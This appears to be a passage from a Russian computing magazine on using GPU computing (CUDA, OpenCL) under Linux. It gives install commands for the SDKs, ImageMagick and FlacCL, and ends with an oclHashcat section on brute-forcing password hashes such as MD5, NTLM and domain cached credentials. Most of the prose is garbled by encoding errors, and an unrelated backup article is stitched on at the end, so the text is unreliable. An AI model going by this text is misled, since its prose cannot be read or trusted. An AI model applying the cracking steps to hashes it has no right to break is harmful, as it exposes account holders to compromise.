ÐÏÐÑÏÂÔÆÍ ÑÁÈÏÂÑÁÓÝÒà Ò ÓÆÍ, ØÓÏ ÎÁÍ ÎÔÇÎÏ ÅÌà ÓÏÄÏ, ØÓÏÂÜ ÃÒÆ ÞÓÏ ÈÁ-
ÃÆÌÏÒÝ É ÒÓÁÂÉÌÝÎÏ ÑÁÂÏÓÁÌÏ. 
£Ï-ÐÆÑÃÜÖ, ÐÏÎÁÅÏÂÉÓÒà ÃÉÅÆÏËÁÑÓÁ, ÐÏÅÅÆÑÇÉÃÁßÚÁà ÓÆÖÎÏÌÏ-
ÄÉß CUDA ÉÌÉ Stream. ®ÆÏÂàÈÁÓÆÌÝÎÏ, ØÓÏÂÜ ÏÎÁ ÂÜÌÁ ÓÏÐÏÃÁà, 
ÅÏÒÓÁÓÏØÎÏ ÓÏÌÝËÏ, ØÓÏÂÜ ÄÏÅ ÆÆ ÃÜÐÔÒËÁ ÂÜÌ ÎÆ ÍÆÎÆÆ 2009. °ÏÌÎÜÊ 
ÒÐÉÒÏË ÐÏÅÅÆÑÇÉÃÁÆÍÜÖ ÃÉÅßÙÆË ÍÏÇÎÏ ÐÏÒÍÏÓÑÆÓÝ Ã £ÉËÉÐÆÅÉÉ: 
en.wikipedia.org/wiki/CUDA É en.wikipedia.org/wiki/AMD_Stream_
Processor. ³ÁËÇÆ Ï ÐÏÅÅÆÑÇËÆ ÓÏÊ ÉÌÉ ÉÎÏÊ ÓÆÖÎÏÌÏÄÉÉ ÍÏÇÎÏ 
ÔÈÎÁÓÝ, ÐÑÏØÉÓÁÃ ÅÏËÔÍÆÎÓÁ×Éß, ÖÏÓà Ã ÂÏÌÝÙÉÎÒÓÃÆ ÒÌÔØÁÆÃ ÂÔÅÆÓ 
ÅÏÒÓÁÓÏØÎÜÍ ÃÈÄÌàÎÔÓÝ ÎÁ ËÏÑÏÂËÔ ÉÈ ÐÏÅ ÃÉÅÆÏËÁÑÓÜ ÉÌÉ ÎÏÔÓÂÔËÁ, 
ÏÂÜØÎÏ ÎÁ ÎÆÆ ÎÁËÌÆÆÎÜ ÑÁÈÌÉØÎÜÆ ÑÆËÌÁÍÎÜÆ ÒÓÉËÆÑÜ.
£Ï-ÃÓÏÑÜÖ, Ã ÒÉÒÓÆÍÔ ÅÏÌÇÎÜ ÂÜÓÝ ÔÒÓÁÎÏÃÌÆÎÜ ÐÏÒÌÆÅÎÉÆ ÐÑÏÐÑÉÆ-
ÓÁÑÎÜÆ ÅÑÁÊÃÆÑÁ ÅÌà ÃÉÅÆÏËÁÑÓÜ, ÏÎÉ ÏÂÆÒÐÆØÁÓ ÐÏÅÅÆÑÇËÔ ËÁË ÑÏÅÎÜÖ 
ÅÌà ËÁÑÓÏØËÉ ÓÆÖÎÏÌÏÄÉÊ GPGPU, ÓÁË É ÏÓËÑÜÓÏÄÏ OpenCL.
© Ã-ÓÑÆÓÝÉÖ, ÓÁË ËÁË ÐÏËÁ ÅÉÒÓÑÉÂÔÓÉÃÏÒÓÑÏÉÓÆÌÉ ÆÚÆ ÎÆ ÎÁØÁÌÉ ÑÁÒ-
ÐÑÏÒÓÑÁÎàÓÝ ÐÁËÆÓÜ ÐÑÉÌÏÇÆÎÉÊ Ò ÐÏÅÅÆÑÇËÏÊ GPGPU, ÎÁÍ ÐÑÉÅÆÓÒà 
ÒÏÂÉÑÁÓÝ ÐÑÉÌÏÇÆÎÉà ÒÁÍÏÒÓÏàÓÆÌÝÎÏ, Á ÅÌà ÞÓÏÄÏ ÎÔÇÎÜ ÏÕÉ×ÉÁÌÝÎÜÆ 
SDK ÏÓ ÐÑÏÉÈÃÏÅÉÓÆÌÆÊ: CUDA Toolkit (goo.gl/lbdxm) ÉÌÉ ATI Stream SDK 
(goo.gl/YS2K). ̄ ÎÉ ÒÏÅÆÑÇÁÓ Ã ÒÆÂÆ ÎÆÏÂÖÏÅÉÍÜÆ ÅÌà ÒÂÏÑËÉ ÐÑÉÌÏÇÆ-
ÎÉÊ ÈÁÄÏÌÏÃÏØÎÜÆ ÕÁÊÌÜ É ÂÉÂÌÉÏÓÆËÉ.

Ставим CUDA Toolkit
©ÅÆÍ ÐÏ ÃÜÙÆÐÑÉÃÆÅÆÎÎÏÊ ÒÒÜÌËÆ É ÒËÁØÉÃÁÆÍ CUDA Toolkit ÅÌà Linux 
(ÃÜÂÑÁÓÝ ÍÏÇÎÏ ÉÈ ÎÆÒËÏÌÝËÉÖ ÃÆÑÒÉÊ, ÅÌà ÅÉÒÓÑÉÂÔÓÉÃÏÃ Fedora, 
RHEL, Ubuntu É SUSE, ÆÒÓÝ ÃÆÑÒÉÉ ËÁË ÅÌà ÁÑÖÉÓÆËÓÔÑÜ x86, ÓÁË É ÅÌà 

x86_64). «ÑÏÍÆ ÓÏÄÏ, ÓÁÍ ÇÆ ÎÁÅÏ ÒËÁØÁÓÝ ËÏÍÐÌÆËÓÜ ÅÑÁÊÃÆÑÏÃ ÅÌà ÑÁÈ-
ÑÁÂÏÓØÉËÏÃ (Developer Drivers for Linux, ÏÎÉ ÉÅÔÓ ÐÆÑÃÜÍÉ Ã ÒÐÉÒËÆ).
¨ÁÐÔÒËÁÆÍ ÉÎÒÓÁÌÌàÓÏÑ SDK:

$ sudo sh cudatoolkit_4.0.17_linux_64_ubuntu10.10.run

«ÏÄÅÁ ÔÒÓÁÎÏÃËÁ ÂÔÅÆÓ ÈÁÃÆÑÙÆÎÁ, ÐÑÉÒÓÔÐÁÆÍ Ë ÔÒÓÁÎÏÃËÆ ÅÑÁÊÃÆÑÏÃ. 
¥Ìà ÞÓÏÄÏ ÈÁÃÆÑÙÁÆÍ ÑÁÂÏÓÔ X-ÒÆÑÃÆÑÁ:

# sudo /etc/init.d/gdm stop

¯ÓËÑÜÃÁÆÍ ËÏÎÒÏÌÝ <Ctrl+Alt+F5> É ÈÁÐÔÒËÁÆÍ ÉÎÒÓÁÌÌàÓÏÑ ÅÑÁÊÃÆÑÏÃ:

$ sudo sh devdriver_4.0_linux_64_270.41.19.run

°ÏÒÌÆ ÏËÏÎØÁÎÉà ÔÒÓÁÎÏÃËÉ ÒÓÁÑÓÔÆÍ ÉËÒÜ:

$ startx

¸ÓÏÂÜ ÐÑÉÌÏÇÆÎÉà ÒÍÏÄÌÉ ÑÁÂÏÓÁÓÝ Ò CUDA/OpenCL, ÐÑÏÐÉÒÜÃÁÆÍ ÐÔÓÝ 
ÅÏ ËÁÓÁÌÏÄÁ Ò CUDA-ÂÉÂÌÉÏÓÆËÁÍÉ Ã ÐÆÑÆÍÆÎÎÔß LD_LIBRARY_PATH:

$ export LD_LIBRARY_PATH=/usr/local/cuda/lib64

©ÌÉ, ÆÒÌÉ ÓÜ ÔÒÓÁÎÏÃÉÌ 32-ÂÉÓÎÔß ÃÆÑÒÉß:

$ export LD_LIBRARY_PATH=/usr/local/cuda/lib32

³ÁËÇÆ ÎÆÏÂÖÏÅÉÍÏ ÐÑÏÐÉÒÁÓÝ ÐÔÓÝ ÅÏ ÈÁÄÏÌÏÃÏØÎÜÖ ÕÁÊÌÏÃ CUDA, 
ØÓÏÂÜ ËÏÍÐÉÌàÓÏÑ ÉÖ ÎÁÙÆÌ ÎÁ ÞÓÁÐÆ ÒÂÏÑËÉ ÐÑÉÌÏÇÆÎÉà:

$ export C_INCLUDE_PATH=/usr/local/cuda/include

£ÒÆ, ÓÆÐÆÑÝ ÍÏÇÎÏ ÐÑÉÒÓÔÐÉÓÝ Ë ÒÂÏÑËÆ CUDA/OpenCL-ÒÏÕÓÁ.

Ставим ATI Stream SDK
Stream SDK ÎÆ ÓÑÆÂÔÆÓ ÔÒÓÁÎÏÃËÉ, ÐÏÞÓÏÍÔ ÒËÁØÁÎÎÜÊ Ò ÒÁÊÓÁ AMD-
ÁÑÖÉÃ ÍÏÇÎÏ ÐÑÏÒÓÏ ÑÁÒÐÁËÏÃÁÓÝ Ã ÌßÂÏÊ ËÁÓÁÌÏÄ (ÌÔØÙÉÍ ÃÜÂÏÑÏÍ 
ÂÔÅÆÓ /opt) É ÐÑÏÐÉÒÁÓÝ ÐÔÓÝ ÅÏ ÎÆÄÏ ÃÏ ÃÒß ÓÔ ÇÆ ÐÆÑÆÍÆÎÎÔß LD_
LIBRARY_PATH:

$ wget http://goo.gl/CNCNo
$ sudo tar -xzf ~/AMD-APP-SDK-v2.4-lnx64.tgz -C /opt
$ export \
   LD_LIBRARY_PATH=/opt/AMD-APP-SDK-v2.4-lnx64/lib/x86_64/
$ export C_INCLUDE_PATH=/opt/AMD-APP-SDK-v2.4-lnx64/include/

«ÁË É Ã ÒÌÔØÁÆ Ò CUDA Toolkit, x86_64 ÎÆÏÂÖÏÅÉÍÏ ÈÁÍÆÎÉÓÝ ÎÁ x86 Ã 
32-ÂÉÓÎÜÖ ÒÉÒÓÆÍÁÖ. ³ÆÐÆÑÝ ÐÆÑÆÖÏÅÉÍ Ã ËÏÑÎÆÃÏÊ ËÁÓÁÌÏÄ É ÑÁÒ-
ÐÁËÏÃÜÃÁÆÍ ÁÑÖÉÃ icd-registration.tgz (ÞÓÏ ÒÃÏÆÄÏ ÑÏÅÁ ÂÆÒÐÌÁÓÎÜÊ 
ÌÉ×ÆÎÈÉÏÎÎÜÊ ËÌßØ):

Команда clinfo позволит определить, есть ли в системе 
Stream-устройства

nVidia CUDA поддерживает несколько разных реализаций 
GPGPU
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$ sudo tar -xzf \
   /opt/AMD-APP-SDK-v2.4-lnx64/icd-registration.tgz -Ǳ /

°ÑÏÃÆÑàÆÍ ÐÑÁÃÉÌÝÎÏÒÓÝ ÔÒÓÁÎÏÃËÉ/ÑÁÂÏÓÜ ÐÁËÆÓÁ Ò ÐÏÍÏÚÝß ÉÎÒÓÑÔ-
ÍÆÎÓÁ clinfo:

$ /opt/AMD-APP-SDK-v2.4-lnx64/bin/x86_64/clinfo

ImageMagick и OpenCL
°ÏÅÅÆÑÇËÁ OpenCL ÐÏàÃÉÌÁÒÝ Ã ImageMagick ÔÇÆ ÅÏÒÓÁÓÏØÎÏ ÅÁÃÎÏ, 
ÏÅÎÁËÏ ÐÏ ÔÍÏÌØÁÎÉß ÏÎÁ ÎÆ ÁËÓÉÃÉÑÏÃÁÎÁ ÎÉ Ã ÏÅÎÏÍ ÅÉÒÓÑÉÂÔÓÉÃÆ. 
°ÏÞÓÏÍÔ ÎÁÍ ÐÑÉÅÆÓÒà ÒÏÂÑÁÓÝ IM ÒÁÍÏÒÓÏàÓÆÌÝÎÏ ÉÈ ÉÒÖÏÅÎÉËÏÃ.
®ÉØÆÄÏ ÒÌÏÇÎÏÄÏ Ã ÞÓÏÍ ÎÆÓ, ÃÒÆ ÎÆÏÂÖÏÅÉÍÏÆ ÔÇÆ ÆÒÓÝ Ã SDK, ÐÏÞÓÏÍÔ 
ÒÂÏÑËÁ ÎÆ ÐÏÓÑÆÂÔÆÓ ÔÒÓÁÎÏÃËÉ ËÁËÉÖ-ÓÏ ÅÏÐÏÌÎÉÓÆÌÝÎÜÖ ÂÉÂÌÉÏÓÆË ÏÓ 
nVidia ÉÌÉ AMD. ©ÓÁË, ÒËÁØÉÃÁÆÍ/ÑÁÒÐÁËÏÃÜÃÁÆÍ ÁÑÖÉÃ Ò ÉÒÖÏÅÎÉËÁÍÉ:

$ wget http://goo.gl/F6VYV
$ tar -xjf ImageMagick-6.7.0-0.tar.bz2
$ cd ImageMagick-6.7.0-0

¥ÁÌÆÆ ÔÒÓÁÎÁÃÌÉÃÁÆÍ ÉÎÒÓÑÔÍÆÎÓÜ ÒÂÏÑËÉ:

$ sudo apt-get install build-essential

¨ÁÐÔÒËÁÆÍ ËÏÎÕÉÄÔÑÁÓÏÑ É ÄÑÆÐÁÆÍ ÆÄÏ ÃÜÃÏÅ ÎÁ ÐÑÆÅÍÆÓ ÐÏÅÅÆÑÇËÉ 
OpenCL:

$ LDFLAGS=-L$LD_LIBRARY_PATH ./confi gure | \
    grep -e cl.h -e OpenCL

°ÑÁÃÉÌÝÎÜÊ ÑÆÈÔÌÝÓÁÓ ÑÁÂÏÓÜ ËÏÍÁÎÅÜ ÅÏÌÇÆÎ ÃÜÄÌàÅÆÓÝ ÐÑÉÍÆÑÎÏ 
ÓÁË:

checking CL/cl.h usability... yes
checking CL/cl.h presence... yes
checking for CL/cl.h... yes
checking OpenCL/cl.h usability... no
checking OpenCL/cl.h presence... no
checking for OpenCL/cl.h... no
checking for OpenCL library... -lOpenCL

²ÌÏÃÏÍ «yes» ÅÏÌÇÎÜ ÂÜÓÝ ÏÓÍÆØÆÎÜ ÌÉÂÏ ÐÆÑÃÜÆ ÓÑÉ ÒÓÑÏËÉ, ÌÉÂÏ 
ÃÓÏÑÜÆ (ÉÌÉ ÏÂÁ ÃÁÑÉÁÎÓÁ ÒÑÁÈÔ). ¦ÒÌÉ ÞÓÏ ÎÆ ÓÁË, ÈÎÁØÉÓ, ÒËÏÑÆÆ ÃÒÆÄÏ, 
ÂÜÌÁ ÎÆÐÑÁÃÉÌÝÎÏ ÉÎÉ×ÉÁÌÉÈÉÑÏÃÁÎÁ ÐÆÑÆÍÆÎÎÁà C_INCLUDE_PATH. 

¦ÒÌÉ ÇÆ ÒÌÏÃÏÍ «no» ÏÓÍÆØÆÎÁ ÐÏÒÌÆÅÎàà ÒÓÑÏËÁ, ÈÎÁØÉÓ, ÅÆÌÏ Ã ÐÆÑÆ-
ÍÆÎÎÏÊ LD_LIBRARY_PATH. ¦ÒÌÉ ÃÒÆ ÏËÆÊ, ÈÁÐÔÒËÁÆÍ ÐÑÏ×ÆÒÒ ÒÂÏÑËÉ/
ÔÒÓÁÎÏÃËÉ:

$ sudo make install clean

°ÑÏÃÆÑàÆÍ, ØÓÏ ImageMagick ÅÆÊÒÓÃÉÓÆÌÝÎÏ ÂÜÌ ÒËÏÍÐÉÌÉÑÏÃÁÎ Ò ÐÏÅ-
ÅÆÑÇËÏÊ OpenCL:

$ /usr/local/bin/convert -version | grep Features
Features: OpenMP OpenCL

³ÆÐÆÑÝ ÉÈÍÆÑÉÍ ÐÏÌÔØÆÎÎÜÊ ÃÜÉÄÑÜÙ Ã ÒËÏÑÏÒÓÉ. ±ÁÈÑÁÂÏÓØÉËÉ 
ImageMagick ÑÆËÏÍÆÎÅÔßÓ ÉÒÐÏÌÝÈÏÃÁÓÝ ÅÌà ÞÓÏÄÏ ÕÉÌÝÓÑ convolve:

$ time /usr/bin/convert image.jpg -convolve \
    '-1, -1, -1, -1, 9, -1, -1, -1, -1' image2.jpg
$ time /usr/local/bin/convert image.jpg -convolve \
    '-1, -1, -1, -1, 9, -1, -1, -1, -1' image2.jpg

®ÆËÏÓÏÑÜÆ ÅÑÔÄÉÆ ÏÐÆÑÁ×ÉÉ, ÓÁËÉÆ ËÁË ÑÆÒÁÊÈ, ÓÆÐÆÑÝ ÓÏÇÆ ÅÏÌÇÎÜ ÑÁ-
ÂÏÓÁÓÝ ÈÎÁØÉÓÆÌÝÎÏ ÂÜÒÓÑÆÆ, ÏÅÎÁËÏ ÎÁÅÆàÓÝÒà ÎÁ ÓÏ, ØÓÏ ImageMagick 
ÎÁØÎÆÓ ÏÂÑÁÂÁÓÜÃÁÓÝ ÄÑÁÕÉËÔ Ò ÂÆÙÆÎÏÊ ÒËÏÑÏÒÓÝß, ÎÆ ÒÓÏÉÓ. °ÏËÁ ÆÚÆ 
ÏØÆÎÝ ÍÁÌÁà ØÁÒÓÝ ÐÁËÆÓÁ ÏÐÓÉÍÉÈÉÑÏÃÁÎÁ Ò ÐÏÍÏÚÝß OpenCL.

FlacCL (Flacuda)
FlacCL (www.cuetools.net/doku.php/flacuda) — ÞÓÏ ËÏÅÉÑÏÃÚÉË ÈÃÔËÏÃÜÖ 
ÕÁÊÌÏÃ Ã ÕÏÑÍÁÓ FLAC, ÈÁÅÆÊÒÓÃÔßÚÉÊ Ã ÒÃÏÆÊ ÑÁÂÏÓÆ ÃÏÈÍÏÇÎÏÒÓÉ 
OpenCL. ̄ Î ÃÖÏÅÉÓ Ã ÒÏÒÓÁÃ ÐÁËÆÓÁ CUETools (www.cuetools.net/doku.
php) ÅÌà Windows, ÎÏ ÂÌÁÄÏÅÁÑà mono ÍÏÇÆÓ ÂÜÓÝ ÉÒÐÏÌÝÈÏÃÁÎ É Ã Linux.
¥Ìà ÐÏÌÔØÆÎÉà ÁÑÖÉÃÁ Ò ËÏÅÉÑÏÃÚÉËÏÍ ÃÜÐÏÌÎàÆÍ ÒÌÆÅÔßÚÔß ËÏÍÁÎ-
ÅÔ:

$ mkdir fl accl && cd fl accl
$ wget www.cuetools.net/install/fl accl03.rar

¥ÁÌÆÆ ÔÒÓÁÎÁÃÌÉÃÁÆÍ unrar, mono É ÑÁÒÐÁËÏÃÜÃÁÆÍ ÁÑÖÉÃ:

$ sudo apt-get install unrar mono
$ unrar x fl accl03.rar

¸ÓÏÂÜ ÐÑÏÄÑÁÍÍÁ ÒÍÏÄÌÁ ÎÁÊÓÉ ÂÉÂÌÉÏÓÆËÔ OpenCL, ÅÆÌÁÆÍ ÒÉÍÃÏÌÉ-
ØÆÒËÔß ÒÒÜÌËÔ:

$ ln -s $LD_LIBRARY_PATH/libOpenCL.so libopencl.so

Для активизации OpenCL на базе nVidia тебе понадобятся 
CUDA Toolkit и драйвера для разработчиков

Скорость кодирования FlacCL может в десятки раз превос-
ходить скорость стандартного кодека flac
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³ÆÐÆÑÝ ÈÁÐÔÒËÁÆÍ ËÏÅÉÑÏÃÚÉË:

$ mono CUETools.FLACCL.cmd.exe music.wav

¦ÒÌÉ ÎÁ ÞËÑÁÎ ÂÔÅÆÓ ÃÜÃÆÅÆÎÏ ÒÏÏÂÚÆÎÉÆ ÏÂ ÏÙÉÂËÆ «Error: Requested 
compile size is bigger than the required workgroup size of 32», ÈÎÁØÉÓ, Ô 
ÎÁÒ Ã ÒÉÒÓÆÍÆ ÒÌÉÙËÏÍ ÒÌÁÂÆÎÝËÁà ÃÉÅÆÏËÁÑÓÁ, É ËÏÌÉØÆÒÓÃÏ ÈÁÅÆÊ-
ÒÓÃÏÃÁÎÎÜÖ àÅÆÑ ÒÌÆÅÔÆÓ ÒÏËÑÁÓÉÓÝ ÅÏ ÔËÁÈÁÎÎÏÄÏ ØÉÒÌÁ Ò ÐÏÍÏÚÝß 
ÕÌÁÄÁ ‘--group-size XX’, ÄÅÆ XX — ÎÔÇÎÏÆ ËÏÌÉØÆÒÓÃÏ àÅÆÑ.
²ÑÁÈÔ ÒËÁÇÔ, ÉÈ-ÈÁ ÅÏÌÄÏÄÏ ÃÑÆÍÆÎÉ ÉÎÉ×ÉÁÌÉÈÁ×ÉÉ OpenCL ÈÁÍÆÓÎÜÊ 
ÃÜÉÄÑÜÙ ÍÏÇÎÏ ÐÏÌÔØÉÓÝ ÓÏÌÝËÏ ÎÁ ÅÏÒÓÁÓÏØÎÏ ÅÌÉÎÎÜÖ ÅÏÑÏÇËÁÖ. «Ï-
ÑÏÓËÉÆ ÈÃÔËÏÃÜÆ ÕÁÊÌÜ FlacCL ÏÂÑÁÂÁÓÜÃÁÆÓ ÐÏØÓÉ Ò ÓÏÊ ÇÆ ÒËÏÑÏÒÓÝß, 
ØÓÏ É ÆÄÏ ÓÑÁÅÉ×ÉÏÎÎÁà ÃÆÑÒÉà.

oclHashcat или брутфорс по-
быстрому
«ÁË à ÔÇÆ ÄÏÃÏÑÉÌ, ÏÅÎÉÍÉ ÉÈ ÐÆÑÃÜÖ ÐÏÅÅÆÑÇËÔ GPGPU Ã ÒÃÏÉ ÐÑÏ-
ÅÔËÓÜ ÅÏÂÁÃÉÌÉ ÑÁÈÑÁÂÏÓØÉËÉ ÑÁÈÌÉØÎÜÖ ËÑÞËÆÑÏÃ É ÒÉÒÓÆÍ ÂÑÔÓÕÏÑÒÁ 
ÐÁÑÏÌÆÊ. ¥Ìà ÎÉÖ ÎÏÃÁà ÓÆÖÎÏÌÏÄÉà ÒÓÁÌÁ ÎÁÒÓÏàÚÉÍ ÒÃàÓÜÍ ÄÑÁÁÌÆÍ, 
ËÏÓÏÑÜÊ ÐÏÈÃÏÌÉÌ Ò ÌÆÄËÏÒÓÝß ÐÆÑÆÎÆÒÓÉ ÏÓ ÐÑÉÑÏÅÜ ÌÆÄËÏ ÑÁÒÐÁÑÁÌ-
ÌÆÌÉÃÁÆÍÜÊ ËÏÅ ÎÁ ÐÌÆØÉ ÂÜÒÓÑÜÖ GPU-ÐÑÏ×ÆÒÒÏÑÏÃ. °ÏÞÓÏÍÔ ÎÆÔÅÉ-
ÃÉÓÆÌÝÎÏ, ØÓÏ ÒÆÊØÁÒ ÒÔÚÆÒÓÃÔßÓ ÅÆÒàÓËÉ ÒÁÍÜÖ ÑÁÈÎÜÖ ÑÆÁÌÉÈÁ×ÉÊ 
ÐÏÅÏÂÎÜÖ ÐÑÏÄÑÁÍÍ. ®Ï Ã ÞÓÏÊ ÒÓÁÓÝÆ à ÑÁÒÒËÁÇÔ ÓÏÌÝËÏ ÏÂ ÏÅÎÏÊ ÉÈ ÎÉÖ 
— oclHashcat.
oclHashcat (hashcat.net/oclhashcat/) — ÞÓÏ ÌÏÍÁÌËÁ, ËÏÓÏÑÁà ÔÍÆÆÓ 
ÐÏÅÂÉÑÁÓÝ ÐÁÑÏÌÉ ÐÏ ÉÖ ÖÞÙÔ Ò ÞËÒÓÑÆÍÁÌÝÎÏ ÃÜÒÏËÏÊ ÒËÏÑÏÒÓÝß, 
ÈÁÅÆÊÒÓÃÔà ÐÑÉ ÞÓÏÍ ÍÏÚÎÏÒÓÉ GPU Ò ÐÏÍÏÚÝß OpenCL. ¦ÒÌÉ ÃÆÑÉÓÝ 
ÈÁÍÆÑÁÍ, ÏÐÔÂÌÉËÏÃÁÎÎÜÍ ÎÁ ÒÁÊÓÆ ÐÑÏÆËÓÁ, ÒËÏÑÏÒÓÝ ÐÏÅÂÏÑÁ MD5-
ÐÁÑÏÌÆÊ ÎÁ nVidia GTX580 ÒÏÒÓÁÃÌàÆÓ ÅÏ 15800 ÍÌÎ ËÏÍÂÉÎÁ×ÉÊ Ã ÒÆËÔÎ-
ÅÔ, ÂÌÁÄÏÅÁÑà ØÆÍÔ oclHashcat ÒÐÏÒÏÂÆÎ ÎÁÊÓÉ ÒÑÆÅÎÉÊ ÐÏ ÒÌÏÇÎÏÒÓÉ 
ÃÏÒÝÍÉÒÉÍÃÏÌÝÎÜÊ ÐÁÑÏÌÝ ÈÁ ËÁËÉÆ-ÓÏ 9 ÍÉÎÔÓ.
°ÑÏÄÑÁÍÍÁ ÐÏÅÅÆÑÇÉÃÁÆÓ OpenCL É CUDA, ÁÌÄÏÑÉÓÍÜ MD5, 
md5($pass.$salt), md5(md5($pass)), vBulletin < v3.8.5, SHA1, 
sha1($pass.$salt), ÖÞÙÉ MySQL, MD4, NTLM, Domain Cached Credentials, 
SHA256, ÐÏÅÅÆÑÇÉÃÁÆÓ ÑÁÒÐÑÆÅÆÌÆÎÎÜÊ ÐÏÅÂÏÑ ÐÁÑÏÌÆÊ Ò ÈÁÅÆÊÒÓÃÏ-
ÃÁÎÉÆÍ ÍÏÚÎÏÒÓÉ ÎÆÒËÏÌÝËÉÖ ÍÁÙÉÎ.

¡ÃÓÏÑ ÎÆ ÑÁÒËÑÜÃÁÆÓ ÉÒÖÏÅÎÉËÉ (ØÓÏ, Ã ÏÂÚÆÍ-ÓÏ, ÌÏÄÉØÎÏ), ÎÏ Ô ÐÑÏ-
ÄÑÁÍÍÜ ÆÒÓÝ ÎÏÑÍÁÌÝÎÏ ÑÁÂÏÓÁßÚÁà Linux-ÃÆÑÒÉà, ËÏÓÏÑÔß ÍÏÇÎÏ ÐÏ-
ÌÔØÉÓÝ ÎÁ ÏÕÉ×ÉÁÌÝÎÏÊ ÒÓÑÁÎÉØËÆ: hashcat.net/files/oclHashcat-0.25.7z.
¥ÁÌÆÆ ÒÌÆÅÔÆÓ ÑÁÒÐÁËÏÃÁÓÝ ÁÑÖÉÃ:

$ 7z x oclHashcat-0.25.7z
$ cd oclHashcat-0.25

© ÈÁÐÔÒÓÉÓÝ ÐÑÏÄÑÁÍÍÔ (ÃÏÒÐÏÌÝÈÔÆÍÒà ÐÑÏÂÎÜÍ ÒÐÉÒËÏÍ ÖÞÙÆÊ É 
ÐÑÏÂÎÜÍ ÒÌÏÃÁÑÆÍ):

$ ./oclHashcat64.bin example.hash ?l?l?l?l \
    example.dict

oclHashcat ÏÓËÑÏÆÓ ÓÆËÒÓ ÐÏÌÝÈÏÃÁÓÆÌÝÒËÏÄÏ ÒÏÄÌÁÙÆÎÉà, Ò ËÏÓÏÑÜÍ 
ÒÌÆÅÔÆÓ ÒÏÄÌÁÒÉÓÝÒà, ÎÁÂÑÁÃ «YES». °ÏÒÌÆ ÞÓÏÄÏ ÎÁØÎÆÓÒà ÐÑÏ×ÆÒÒ 
ÐÆÑÆÂÏÑÁ, ÐÑÏÄÑÆÒÒ ËÏÓÏÑÏÄÏ ÍÏÇÎÏ ÔÈÎÁÓÝ ÐÏ ÎÁÇÁÓÉß <s>. ̧ ÓÏÂÜ 
ÐÑÉÏÒÓÁÎÏÃÉÓÝ ÐÑÏ×ÆÒÒ, ËÎÏÐÁÆÍ <p>, ÅÌà ÃÏÈÏÂÎÏÃÌÆÎÉà — <r>.
³ÁËÇÆ ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ ÐÑàÍÏÊ ÐÆÑÆÂÏÑ (ÎÁÐÑÉÍÆÑ, ÏÓ aaaaaaaa ÅÏ 
zzzzzzzz):

$ ./oclHashcat64.bin hash.txt ?l?l?l?l \
    ?l?l?l?l

© ÑÁÈÌÉØÎÜÆ ÍÏÅÉÕÉËÁ×ÉÉ ÒÌÏÃÁÑà É ÍÆÓÏÅÁ ÐÑàÍÏÄÏ ÐÆÑÆÂÏÑÁ, Á ÓÁË-
ÇÆ ÉÖ ËÏÍÂÉÎÁ×ÉÉ (ÏÂ ÞÓÏÍ ÍÏÇÎÏ ÐÑÏØÉÓÁÓÝ Ã ÕÁÊÌÆ docs/examples.txt). 
£ ÍÏÆÍ ÒÌÔØÁÆ ÒËÏÑÏÒÓÝ ÐÆÑÆÂÏÑÁ ÃÒÆÄÏ ÒÌÏÃÁÑà ÒÏÒÓÁÃÉÌÁ 11 ÍÉÎÔÓ, 
ÓÏÄÅÁ ËÁË ÐÑàÍÏÊ ÐÆÑÆÂÏÑ (ÏÓ aaaaaaaa ÅÏ zzzzzzzz) ÅÌÉÌÒà ÏËÏÌÏ 40 ÍÉ-
ÎÔÓ. £ ÒÑÆÅÎÆÍ ÒËÏÑÏÒÓÝ ÑÁÂÏÓÜ GPU (ØÉÐ RV710) ÒÏÒÓÁÃÉÌÁ 88,3 ÍÌÎ/Ò.

Выводы
®ÆÒÍÏÓÑà ÎÁ ÍÎÏÇÆÒÓÃÏ ÒÁÍÜÖ ÑÁÈÎÜÖ ÏÄÑÁÎÉØÆÎÉÊ É ÒÌÏÇÎÏÒÓÝ ÑÁÈÑÁ-
ÂÏÓËÉ ÒÏÕÓÁ, GPGPU — ÂÔÅÔÚÆÆ ÃÜÒÏËÏÐÑÏÉÈÃÏÅÉÓÆÌÝÎÜÖ ÎÁÒÓÏÌÝÎÜÖ 
ËÏÍÐÏÃ. ®Ï ÒÁÍÏÆ ÄÌÁÃÎÏÆ — ÉÒÐÏÌÝÈÏÃÁÓÝ ÃÏÈÍÏÇÎÏÒÓÉ ÞÓÏÊ ÓÆÖÎÏÌÏ-
ÄÉÉ ÍÏÇÎÏ ÐÑàÍÏ ÒÆÊØÁÒ, É ÞÓÏ ËÁÒÁÆÓÒà ÎÆ ÓÏÌÝËÏ Windows-ÍÁÙÉÎ, ÎÏ 
É Linux. z

GPU уже давно обогнали x86-процессоры в производительности
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 Ñëó÷àéíî çàòåðòûå èëè çàìåíåííûå ôàéëû — áè÷ àáñîëþòíî âñåõ 
ïîëüçîâàòåëåé Linux. Ëþáîé èç íàñ õîòü ðàç â æèçíè ëèøàëñÿ âàæ-
íûõ äàííûõ èç-çà áàíàëüíîé õàëàòíîñòè: îäíà êîìàíäà — è äàí-
íûå, íàä êîòîðûì ðàáîòàë ìíîãèå äíè è íåäåëè, èñ÷åçàåò â îäíî 
ìãíîâåíèå. È â áîëüøèíñòâå ñëó÷àåâ èõ óæå íå âåðíóòü. Â ýòîé ñòà-
òüå ÿ ðàññêàæó, êàê èçáåæàòü òàêèõ ñèòóàöèé.

1000 è îäèí ñïîñîá îòêàòèòü 
è ñèíõðîíèçèðîâàòü ôàéëû

Введение в проблему
£ ËÁËÉÖ ÒÌÔØÁàÖ ÍÜ ÏÂÜØÎÏ ÓÆÑàÆÍ ÕÁÊÌÜ? À ÂÜ ÃÜÅÆÌÉÌ ÅÃÁ ÎÁÉÂÏÌÆÆ 
ÐÏÐÔÌàÑÎÜÖ Ò×ÆÎÁÑÉà:
1. «¸ÓÏ ÞÓÏ ÈÁ ÒÓÁÑÏÆ ÕÁÊÌÏ? £ ÍÔÒÏÑËÔ!». ̈ ÁØÁÒÓÔß ÍÜ ÔÅÁÌàÆÍ ÃÁÇÎÜÆ 
ÕÁÊÌÜ ÐÑÏÒÓÏ ÐÏ ÏÙÉÂËÆ, ÉÌÉ ÅÔÍÁà, ØÓÏ ÏÎÉ ÔÇÆ ÎÆ ÒÏÅÆÑÇÁÓ ÃÁÇÎÏÊ 
ÅÌà ÎÁÒ ÉÎÕÏÑÍÁ×ÉÉ. ¾ÓÏ ÒÓÁÎÅÁÑÓÎÜÊ Ò×ÆÎÁÑÉÊ, ÈÎÁËÏÍÜÊ ÃÒÆÍ.
